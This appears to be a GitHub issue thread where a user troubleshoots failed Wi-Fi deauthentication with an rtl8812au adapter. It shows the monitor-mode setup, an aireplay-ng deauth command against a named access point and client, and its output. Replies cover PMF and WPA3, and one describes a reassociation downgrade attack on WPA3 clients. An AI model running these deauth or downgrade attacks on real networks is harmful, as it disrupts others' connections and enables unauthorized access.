Kali 6.1.0 - Awus036ACH - rtl8812au - Deauth not working

[mkarne1]

Hello,

I can't deauthenticate any client from any Wifi. I installed the latest driver with the following commands:

sudo apt-get install bc mokutil build-essential libelf-dev linux-headers-`uname -r`
reboot
git clone -b v5.6.4.2 https://github.com/aircrack-ng/rtl8812au.git
cd rtl
make dkms_install  

Afterwards, I ran:

airmon-ng check kill
ip link set wlan0 down
iw dev wlan0 set type monitor
ip link set wlan0 up
airodump-ng --bssid D4:3D:F3:74:F3:91 --channel 5 --write /tmp/test wlan0

And in a new terminal:

aireplay-ng --deauth 1000 -a D4:3D:XX:XX:XX:91 -c 14:7D:XX:XX:XX:44 wlan0          
19:46:04  Waiting for beacon frame (BSSID: D4:3D:F3:74:F3:91) on channel 5
19:46:05  Sending 64 directed DeAuth (code 7). STMAC: [14:7D:XX:XX:XX:44] [31|73 ACKs]
19:46:05  Sending 64 directed DeAuth (code 7). STMAC: [14:7D:XX:XX:XX:44] [74|89 ACKs]
19:46:06  Sending 64 directed DeAuth (code 7). STMAC: [14:7D:XX:XX:XX:44] [136|118 ACKs]
19:46:06  Sending 64 directed DeAuth (code 7). STMAC: [14:7D:XX:XX:XX:44] [ 2|63 ACKs]
19:46:07  Sending 64 directed DeAuth (code 7). STMAC: [14:7D:XX:XX:XX:44] [ 0|63 ACKs]
19:46:07  Sending 64 directed DeAuth (code 7). STMAC: [14:7D:XX:XX:XX:44] [ 1|64 ACKs]
19:46:08  Sending 64 directed DeAuth (code 7). STMAC: [14:7D:XX:XX:XX:44] [14|65 ACKs]
19:46:08  Sending 64 directed DeAuth (code 7). STMAC: [14:7D:XX:XX:XX:44] [89|89 ACKs]
19:46:09  Sending 64 directed DeAuth (code 7). STMAC: [14:7D:XX:XX:XX:44] [74|88 ACKs]
19:46:09  Sending 64 directed DeAuth (code 7). STMAC: [14:7D:XX:XX:XX:44] [128|119 ACKs]

It just keeps sending deauth packets but the client isn't deauthenticating.

Any help would be really appreciated!

Thanks!

[kimocoder]

Well, this "problem" is seen on any chipsets and I think it may be due to unsupported protocolls, AX routers, WPA3-SAE. I got the same "issue" on more or less all chipsets. 6E support is on the way to aircrack-ng, so I dont think this is a driver issue, rather tools issue/not-yet-supported protocolls.

[Mister-X-]

One thing first: there is no need to deauth that much. Each instance already sends 64/128 deauth. You need to let the client reconnect.

However, as kimocoder pointed at, if the network has 802.11w (PMF), which is always the case of WPA3/OWE, this won't work. PMF can be used on WPA/WPA2 networks as well, but it's less common, and you'd have to see if 1. It is optional in the beacon and 2. The client negotiated it.

I'd recommend reviewing the capture file.

[mkarne1]

Hi @Mister-X-, thanks for the quick reply!

It's a WPA/2 network. I checked the router settings but couldn't find anything about PMF.

Regarding the capture file: Would you mind taking a quick look at the following screenshots? I can't find anything useful :(

I also uploaded the whole cap to Google Drive: https://drive.google.com/drive/folders/1TJx5ivobjiNvzJd1jeWUApmhGKLW6iE4?usp=sharing

Again, thanks a lot for you help, I really appreciate it!

[mkarne1]

@kimocoder thank you too for the quick reply!

it's a normal WPA/2 network. Does it still apply? I posted the .cap file in my previous response to @Mister-X-, maybe it helps.

Thanks for your time & best regards!

[ZerBea]

Well, this "problem" is seen on any chipsets and I think it may be due to unsupported protocolls, AX routers, WPA3-SAE. I got the same "issue" on more or less all chipsets. 6E support is on the way to aircrack-ng, so I dont think this is a driver issue, rather tools issue/not-yet-supported protocolls.

@kimocoder Hi Christian. WPA3-SAE or MFP shouldn't be a big problem. REASSOCIATION attack should work in both cases (downgrade CLIENT to WPA2 in case of WPA3-SAE and force a RECONNECT of the CLIENT in case of MFP is activated). Neither an AUTHENTICATION frame nor an ACCOCIATIONREQUEST/RESPONSE frame nor a REASSOCIATIONREQUEST/REASSOCIATIONRESPONSE frame is protected.

The only thing we have to tell the ACCESS POINT is that we are capable to do MFP:

RSN Capabilities: 0x0080
    .... .... .... ...0 = RSN Pre-Auth capabilities: Transmitter does not support pre-authentication
    .... .... .... ..0. = RSN No Pairwise capabilities: Transmitter can support WEP default key 0 simultaneously with Pairwise key
    .... .... .... 00.. = RSN PTKSA Replay Counter capabilities: 1 replay counter per PTKSA/GTKSA/STAKeySA (0x0)
    .... .... ..00 .... = RSN GTKSA Replay Counter capabilities: 1 replay counter per PTKSA/GTKSA/STAKeySA (0x0)
    .... .... .0.. .... = Management Frame Protection Required: False
    .... .... 1... .... = Management Frame Protection Capable: True
    .... ...0 .... .... = Joint Multi-band RSNA: False
    .... ..0. .... .... = PeerKey Enabled: False
    ..0. .... .... .... = Extended Key ID for Individually Addressed Frames: Not supported

Cheers Mike

BTW: Unfortunately I can't analyze the dump file. Download isn't allowed for me because I'm not a "google member".